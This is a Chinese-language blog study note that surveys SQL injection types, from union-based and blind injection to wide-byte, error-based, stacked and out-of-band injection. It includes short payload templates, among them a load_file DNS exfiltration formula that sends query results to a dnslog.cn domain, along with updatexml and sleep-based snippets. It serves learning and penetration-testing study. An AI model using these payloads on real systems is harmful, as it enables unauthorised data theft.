愿浪飒精神伴你左右,网络安全之路任重而道远。

漏洞之王SQL注入

Web渗透学习笔记 langsa 3年前 (2021-12-03) 578次浏览 0个评论

注入:核心是什么?把输入当作代码,可以是url,可以是表单,还可以是数据包中的任何一个参数

以下皆以以MySQL为例,如有特例会注明。

如果觉得描述的过于简单,会有详述文章供参考。

显错注入

网页页面中在与数据库交互过程中会在特定位置显示数据库中的数据

通过特殊语句来用特定字符来占领显错位,将显错位替换为sql语句,即可得到数据库数据

1.判断是否存在注入

2.判断字段数

3.判断显错位

4.判断库名

5.判断表名

6.判断列名

7.寻找具体数据

用到的语句关键词

order by(排序,用来判断字段数)

union select (联合查询,用来查询自己想要得到的数据)

database()(可以用来查询数据库)

limit 0,1(限制输出,0表示下标,1表示数量)

information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)

information_schema.tables(记录表名信息的表)

information_schema.columns(记录列名信息的表)

table_name (表名)

column_name (列名)

table_schema (数据库名)

仅供参考:https://blog.csdn.net/qq_35569814/article/details/100154816

post注入

post注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别。只不过是一个在url,一个在输入框。其他的注入方式与显错相差不大。

仅供参考:https://blog.csdn.net/qq_35569814/article/details/100154816

DNS注入

DNS注入的原理?

域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小。

注意:

1.dns 查询有长度限制,所以当查询结果数据过长时需要截断

2.特殊符号,如@,一般先编码后再带出

弱点:目标得有网络,windows自带SMB,而Linux不自带

核心:盲注变显错

公式:load_file(concat(‘//‘,(sql查询语句),’.dnslog.cn提供的域名/1.txt’))\

使用条件:

  1. 有sql注入点

  2. 该站点的load_file可以使用

    (参考:https://www.cnblogs.com/wjrblogs/p/14367387.html

利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。

仅供参考:https://blog.csdn.net/qq_45300786/article/details/107764907

反弹注入

反弹注入就是就是将当前数据库中的查询结果发送到另一数据库服务器中,也是数据带外的一种。

依赖于函数opendatasource的支持,但仅限MSSQL。

mssql对数据类型很严谨,占显错位一般用null

select id,name,xxx from sysobjects where xtype=’U’查询系统表

select xxx from syscolumns where id=sysobjects库中表名对应id

仅供参考:https://www.cnblogs.com/yanlzy/p/11938640.html

header注入

HEAD注入顾名思义就是在传参的时候,将我们的数据构建在http头部。

head注入就是http请求头中的参数与数据库交互就可能存在注入,例如cookie注入也是header注入的一种,常见的还有UA,Referer,XFF等等

仅供参考:https://blog.csdn.net/qq_45300786/article/details/107137042

布尔盲注

函数 length(),返回长度
substr(截取的字符串,开始位,长度)

盲注没有回显但是我们可以通过函数爆破来得到对应的信息,例如函数length()可以得到字符串长度,然后通过ascii(substr())截取字段爆破来匹配对应位数的字母的ascii码,通过ASCII表 http://ascii.911cha.com/ 查询对应的字母或者符号。温馨提示:ASCII码可显示的编号为32-126

思路总结:爆破长度=>分割字段=>爆破匹配ascii码=>对应得到字段

仅供参考:https://www.cnblogs.com/yanlzy/p/11884302.html

时间盲注

延时注入:顾名思义,通过时间延时的表现,即通过改变响应时间判断,实现注入,也叫时间盲注。
所用函数:
sleep()
if(条件,条件成立执行语句,条件不成立执行语句)

and if(布尔盲注的语句,sleep(5),1),一般情况这么用即可

仅供参考:https://www.cnblogs.com/yanlzy/p/11884302.html

宽字节注入

背景:php低版本会有魔术引号,遇到闭合符号会自动添加\,高版本是一个函数addslashes()
注入方法:1,寻找不用闭合 2,绕过函数作用域 3,宽字节注入
宽字节注入核心:通过数据库编码特性,添加特殊符号(我习惯%df或者%dd)使得\失效凑成一个gbk字符,从而绕过系统遇到引号而自动添加一个\的特性

仅供参考:https://blog.csdn.net/heiseweiye/article/details/82723478

报错注入

利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中

示例公式:and updatexml(1,concat(‘1’,sql语句),1) 。其他的可以自己搜集。

仅供参考:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

堆叠注入

堆叠注入,顾名思义,一堆 sql 语句(多条)一起执行。用分号表示上一个语句结束,构造新的语句。

其他不再细说,更多描述参考:https://www.cnblogs.com/backlion/p/9721687.html


本文标题:漏洞之王SQL注入
本文链接:https://blog.langsasec.cn/index.php/2021/12/03/allsqlinjection/
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
喜欢 (2)
[]
分享 (0)
langsa
关于作者:
一个网络安全从业人员
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址